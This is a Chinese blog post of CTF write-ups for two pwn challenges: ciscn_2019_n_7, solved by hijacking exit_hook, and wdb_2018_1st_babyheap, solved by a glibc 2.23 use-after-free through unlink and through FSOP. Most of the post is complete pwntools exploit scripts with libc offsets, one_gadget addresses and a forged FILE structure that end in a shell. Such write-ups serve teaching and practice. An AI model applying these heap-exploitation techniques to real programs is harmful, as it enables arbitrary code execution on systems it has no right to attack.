ciscn_2019_n_7(exit_hook)、wdb_2018_1st_babyheap(fsop的例子)

ciscn_2019_n_7 劫持exit_hook

这道题考察比较单一,劫持exit_hook即可
在ida里面看到,首先会在本地寻找一个log.txt,否则直接段错误。因此现在本地创建一个log.txt。写不写内容都可以。
接下来是exit_hook的位置

exit_hook的位置
在libc-2.23中
exit_hook = libc_base+0x5f0040+3848
exit_hook = libc_base+0x5f0040+3856
在libc-2.27中
exit_hook = libc_base+0x619060+3840
exit_hook = libc_base+0x619060+3848

注意不一定非要显式的exit,程序正常返回也可以执行到。
就像这道题,如果直接调用菜单里的exit,会一并关掉输出流,导致无法回显。同时这里的one_gadget也比较难找,最后一个才成功。

exp

from pwn import *
io=process('./ciscn_2019_n_7')
# io=remote('node4.buuoj.cn',25039)
context.log_level='debug'
elf=ELF('./ciscn_2019_n_7')
libc=elf.libc


def add(length,name):
    io.recvuntil('choice-> ')
    io.sendline(str(1))
    io.recvuntil('Length:')
    io.sendline(str(length))
    io.recvuntil('name:')
    io.send(str(name))

def edit(name,content):
    io.recvuntil('choice-> ')
    io.sendline(str(2))
    io.recvuntil('name')
    io.send(name)
    io.recvuntil('contents')
    io.send(content)

def leak():
    io.recvuntil('choice-> ')
    io.sendline(str(666))


def debug():
    gdb.attach(io,"brva 0xc50")
    leak()


leak()
libc_info = int(io.recvuntil('90'),16)
libc_base = libc_info-libc.sym['puts']
exit_hook = libc_base+0x5f0040+3848
print "libc_base----->" + hex(libc_base)
add(0x20,'a'*8+p64(exit_hook))
# debug()

one = [0x45216,0x4526a,0xf02a4,0xf1147]
# gdb.attach(io,"brva 0xF30")
# print "one_shot----->" + hex(one[1]+libc_base)
edit('a'*8,p64(libc_base+one[3]))
io.sendline('s')





io.interactive()

wdb_2018_1st_babyheap

2.23下的uaf。
顺便总结一下uaf的一些经验。2.23下uaf可以:泄露堆(直接输出),泄露libc(fastbin attack修改下一个chunk的大小,进入unsortedbin)之后可以选择unlink或者fsop。

  • 选择unlink:使用泄露的堆地址,修改到下一个chunk的prev_inuse,写上假的prev_size执行unlink
  • 选择fsop,64位下利用代码(类似house of orange)。像本题的话,结构如下
    2.27下uaf可以直接劫持tcache控制块,达到任意地址分配
    在这里插入图片描述
stream = "/bin/sh\x00"+p64(0x61)
stream += p64(0xDEADBEEF)+p64(IO_list_all-0x10)
stream +=p64(1)+p64(2) # fp->_IO_write_ptr > fp->_IO_write_base
stream = stream.ljust(0xc0,"\x00")
stream += p64(0) # mode<=0
stream += p64(0)
stream += p64(0)
stream += p64(vtable_addr)

参考文章https://blog.csdn.net/qq_39153421/article/details/115327308

参考文章2(更详细)https://cloud.tencent.com/developer/article/1096957

exp:基于unlink

from pwn import *
# io = process('./wdb_2018_1st_babyheap')
io = remote('node4.buuoj.cn',25363)
context.log_level='debug'
elf=ELF('./wdb_2018_1st_babyheap')
libc=elf.libc

def add(index,content):
    io.recvuntil('Choice:')
    io.sendline(str(1))
    io.recvuntil('Index:')
    io.sendline(str(index))
    io.recvuntil('Content:')
    if(len(content) == 0x20):
        io.send(content)
    else:
        io.sendline(content)


def edit(index,content):
    io.recvuntil('Choice:')
    io.sendline(str(2))
    io.recvuntil('Index:')
    io.sendline(str(index))
    io.recvuntil('Content:')
    if(len(content) == 0x20):
        io.send(content)
    else:
        io.sendline(content)


def show(index):
    io.recvuntil('Choice:')
    io.sendline(str(3))
    io.recvuntil('Index')
    io.sendline(str(index))

def delete(index):
    io.recvuntil('Choice:')
    io.sendline(str(4))
    io.recvuntil('Index')
    io.sendline(str(index))

def debug():
    gdb.attach(io,"b *0x4009A0")
    add(30,'ccc')


# first way to solve:use unlink
add(0,p64(0x31)*4)
add(1,p64(0x31)*4)
add(2,p64(0x31)*4)
add(3,p64(0x31)*4)
add(4,'/bin/sh\x00')

# leak heap_base
delete(1)
delete(0)
show(0)
# debug()
heap_info = u64(io.recvline()[:-1].ljust(8,'\x00'))
heap_info = (heap_info-0x0a)>>8
heap_base = heap_info-0x30
print "heap_base----->" + hex(heap_base)

#fastbin attack, fake chunk inside the fastbin with unlink
ptr_addr = 0x602060
delete(1)
add(5,p64(heap_base+0x10))
add(6,'a')
add(7,'a')
payload = p64(ptr_addr-0x18)+p64(ptr_addr-0x10)+p64(0x20)+p64(0x90)#overlap the next chunk
add(8,payload)
# debug()
edit(0,p64(0)+p8(0x21))
# gdb.attach(io,"b *0x400b54")
delete(1)


#get libc_addr
show(8)
libc_info = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc_base = libc_info-0x3c4b78
print "libc_base----->" + hex(libc_base)

free_hook = libc_base+libc.sym['__free_hook']
system_addr = libc_base+libc.sym['system']

edit(0,p64(0)*3+p64(free_hook))
# debug()
edit(0,p64(system_addr))
# debug()
delete(4)




io.interactive()

exp 基于fsop

注意按照模板写即可,原理见上面的参考文章

from pwn import *
io = process('./wdb_2018_1st_babyheap')
# io=remote('node4.buuoj.cn',27414)
# io = remote('node4.buuoj.cn',25363)
context.log_level='debug'
elf=ELF('./wdb_2018_1st_babyheap')
libc=elf.libc

def add(index,content):
    io.recvuntil('Choice:')
    io.sendline(str(1))
    io.recvuntil('Index:')
    io.sendline(str(index))
    io.recvuntil('Content:')
    if(len(content) == 0x20):
        io.send(content)
    else:
        io.sendline(content)


def edit(index,content):
    io.recvuntil('Choice:')
    io.sendline(str(2))
    io.recvuntil('Index:')
    io.sendline(str(index))
    io.recvuntil('Content:')
    if(len(content) == 0x20):
        io.send(content)
    else:
        io.sendline(content)


def show(index):
    io.recvuntil('Choice:')
    io.sendline(str(3))
    io.recvuntil('Index')
    io.sendline(str(index))

def delete(index):
    io.recvuntil('Choice:')
    io.sendline(str(4))
    io.recvuntil('Index')
    io.sendline(str(index))

def debug():
    gdb.attach(io,"b *0x4009A0")
    add(30,'ccc')




# first way to solve:use unlink
add(0,p64(0x31)*4)
add(1,p64(0x0)*2+p64(1)+p64(2))
add(2,p64(0x31)*4)
add(3,p64(0x31)*4)
add(4,p64(0)*4)

# leak heap_base
delete(1)
delete(0)
show(0)
heap_info = u64(io.recvline()[:-1].ljust(8,'\x00'))
heap_info = (heap_info-0x0a)>>8
heap_base = heap_info-0x30
print "heap_base----->" + hex(heap_base)

edit(0,p64(heap_base+0x20))
add(5,p64(0))
add(6,p64(0)+p64(0x91))
add(7,p64(0)+p64(heap_base+0x10))
# debug()
delete(1)
show(1)
libc_base = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc_base = libc_base-0x3c4b78
print "libc_base----->" + hex(libc_base)
edit(5,p64(0)*3+p64(libc_base+libc.sym['system']))

# fsop
edit(6,'/bin/sh\x00'+p64(0x61)+p64(0)+p64(libc_base+libc.sym['_IO_list_all']-0x10))# set size to smallbin[4], unsortedbin attack



gdb.attach(io,"b *0x4009A0")
io.recvuntil('Choice:')
io.sendline(str(1))
io.recvuntil('Index:')
io.sendline(str(8))



io.interactive()




以下是调试样例

在这里插入图片描述

在这里插入图片描述

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值